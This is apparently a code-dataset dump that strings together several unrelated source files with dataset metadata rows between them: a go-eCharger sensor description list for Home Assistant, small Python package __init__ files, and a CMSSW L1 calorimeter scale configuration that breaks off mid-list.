device_class=DEVICE_CLASS_POWER_FACTOR, native_unit_of_measurement=PERCENTAGE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="13", name="Power factor L2", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER_FACTOR, native_unit_of_measurement=PERCENTAGE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="14", name="Power factor L3", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER_FACTOR, native_unit_of_measurement=PERCENTAGE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="15", name="Power factor N", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER_FACTOR, native_unit_of_measurement=PERCENTAGE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="oca", name="OTA cloud app description", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ocl", name="OTA from cloud length", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ocm", name="OTA from cloud message", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ocp", name="OTA from cloud progress", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ocs", name="OTA from cloud status", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ocu", name="List of available firmware versions", state=json_array_to_csv, entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:numeric", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="onv", name="Newest OTA version", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:numeric", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="pwm", name="Phase wish mode for debugging", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="qsc", name="Queue size cloud", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="qsw", name="Queue size web", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="rbc", name="Reboot counter", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_TOTAL_INCREASING, icon="mdi:counter", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="rbt", name="Uptime", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="TODO: Convert to a timestamp first", ), GoEChargerSensorEntityDescription( key="rcd", name="Residual current detection", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="rfb", name="Relay feedback", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="rr", name="ESP reset reason", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="rssi", name="WiFi signal strength", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_SIGNAL_STRENGTH, native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="scaa", name="WiFi scan age", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="scan", name="WiFi scan result", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="scas", name="WiFi scan status", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tma", name="Temperature sensor 1", state=extract_item_from_array_to_float, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_TEMPERATURE, native_unit_of_measurement=TEMP_CELSIUS, state_class=STATE_CLASS_MEASUREMENT, attribute="0", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="tma", name="Temperature sensor 2", state=extract_item_from_array_to_float, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_TEMPERATURE, native_unit_of_measurement=TEMP_CELSIUS, state_class=STATE_CLASS_MEASUREMENT, attribute="1", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="tpa", name="Total power average", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="trx", name="Transaction", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:message-text-lock-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="tsom", name="Time server operating mode", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="utc", name="UTC time", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Valueless with a high update interval of 1s", ), GoEChargerSensorEntityDescription( key="wcch", name="Clients via http", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="wccw", name="Clients via websocket", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="wh", name="Charged energy", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, # It's not total_increasing because it resets once a day? entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="wsms", name="WiFi state machine state", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="wst", # 3: connect, 0: not connected name="WiFi station status", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="psm", name="Configured phases", state=remap_configured_phases, entity_category=EntityCategory.CONFIG, icon="mdi:current-ac", device_class=None, native_unit_of_measurement=None, state_class=None, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 1", state=extract_energy_from_cards, attribute="0", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 2", state=extract_energy_from_cards, attribute="1", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 3", state=extract_energy_from_cards, attribute="2", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 4", state=extract_energy_from_cards, attribute="3", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 5", state=extract_energy_from_cards, attribute="4", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 6", state=extract_energy_from_cards, attribute="5", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 7", state=extract_energy_from_cards, attribute="6", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 8", state=extract_energy_from_cards, attribute="7", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 9", state=extract_energy_from_cards, attribute="8", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cards", name="Charged energy card 10", state=extract_energy_from_cards, attribute="9", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), )

34.969754

103

0.679429

7,515

73,996

6.367931

0.067864

0.069794

0.044384

0.085069

0.880305

0.873242

0.858573

0.855125

0.852325

0.831784

0

0.008396

0.245067

73,996

2,115

104

34.986288

0.848269

0.008636

0

0.801837

0

0.120347

0.003521

0

1

0.00435

false

0.000967

0.003867

0

0.016433

0

null

0

1

0

1

0

null

0

7

b3d6b07b79203863f425c837f9a6a8db735adbc9

131

py

Python

borg/domains/__init__.py

borg-project/borg

5140cff6c96de365b2eba9f07b7fc606b4b16c1b

[ "MIT" ]

7

2015-03-13T06:40:19.000Z

2018-02-23T10:35:46.000Z

borg/domains/__init__.py

borg-project/borg

5140cff6c96de365b2eba9f07b7fc606b4b16c1b

[ "MIT" ]

null

borg/domains/__init__.py

borg-project/borg

5140cff6c96de365b2eba9f07b7fc606b4b16c1b

[ "MIT" ]

4

2015-06-17T15:51:45.000Z

2021-10-20T20:28:07.000Z

"""@author: Bryan Silverthorn <bcs@cargo-cult.org>""" from . import sat from . import pb from . import max_sat from . import asp

16.375

53

0.70229

20

131

4.55

0.65

0.43956

0.285714

0

0.167939

131

7

54

18.714286

0.834862

0.358779

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

b3df37418262e0fc488ca1cb8775e3f3e3eca350

222

py

Python

evaluation_framework/SemanticAnalogies/__init__.py

janothan/Evaluation-Framework

e53847bc352f657953933e1d7c97b68ac890c852

[ "Apache-2.0" ]

5

2020-02-12T13:11:14.000Z

2021-01-28T12:45:22.000Z

evaluation_framework/SemanticAnalogies/__init__.py

charyeezy/Evaluation-Framework

ddfd4ea654a3d7d2abd58f062ec98a8a736f8f51

[ "Apache-2.0" ]

9

2019-07-29T17:45:30.000Z

2022-03-17T12:24:47.000Z

evaluation_framework/SemanticAnalogies/__init__.py

charyeezy/Evaluation-Framework

ddfd4ea654a3d7d2abd58f062ec98a8a736f8f51

[ "Apache-2.0" ]

7

2020-02-12T13:22:49.000Z

2021-11-29T01:08:50.000Z

from evaluation_framework.SemanticAnalogies.semanticAnalogies_model import ( SemanticAnalogiesModel, ) from evaluation_framework.SemanticAnalogies.semanticAnalogies_taskManager import ( SemanticAnalogiesManager, )

31.714286

82

0.864865

16

222

11.75

0.5625

0.148936

0.244681

0.425532

0.606383

0

0.09009

222

6

83

37

0.930693

0

1

0

true

0

0.333333

0

0.333333

0

1

0

1

null

0

1

0

1

0

null

0

1

0

1

0

7

b3ef9c3a4d2d635f680e8b845631df7e74933dcd

291

py

Python

computation/interpreter/expressions/__init__.py

kigawas/computation-py

4e1dc356c03b845cae1218a244ad2f2ce2b10132

[ "MIT" ]

24

2016-04-16T09:10:15.000Z

2022-03-14T08:44:48.000Z

computation/interpreter/expressions/__init__.py

kigawas/computation-py

4e1dc356c03b845cae1218a244ad2f2ce2b10132

[ "MIT" ]

10

2020-11-29T13:01:09.000Z

2022-01-22T13:14:32.000Z

computation/interpreter/expressions/__init__.py

kigawas/computation-py

4e1dc356c03b845cae1218a244ad2f2ce2b10132

[ "MIT" ]

2

2019-09-21T15:07:41.000Z

2021-03-14T13:38:10.000Z

__all__ = [ "Add", "And", "Boolean", "EqualTo", "LessThan", "Multiply", "Number", "Or", "Sub", "Variable", ] from .concrete import ( Add, And, Boolean, EqualTo, LessThan, Multiply, Number, Or, Sub, Variable, )

11.192308

23

0.463918

24

291

5.458333

0.583333

0.091603

0.198473

0.305344

0.839695

0

0.378007

291

25

24

11.64

0.723757

0

0.189003

0

1

0

false

0

0.041667

0

0.041667

0

1

0

null

0

1

0

null

0

9

373e851a414bc00388f266fbb917a0b2bda9128d

241,037

py

Python

L1TriggerConfig/L1ScalesProducers/python/L1CaloInputScales_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

852

2015-01-11T21:03:51.000Z

2022-03-25T21:14:00.000Z

L1TriggerConfig/L1ScalesProducers/python/L1CaloInputScales_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

30,371

2015-01-02T00:14:40.000Z

2022-03-31T23:26:05.000Z

L1TriggerConfig/L1ScalesProducers/python/L1CaloInputScales_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

3,240

2015-01-02T05:53:18.000Z

2022-03-31T17:24:21.000Z

import FWCore.ParameterSet.Config as cms L1CaloInputScalesProducer =cms.ESProducer("L1CaloInputScalesProducer", L1EcalEtThresholdsPositiveEta = cms.vdouble( 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127)+cms.vdouble(127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5)+cms.vdouble(127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126)+cms.vdouble(126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5)+cms.vdouble(126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125)+cms.vdouble(125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 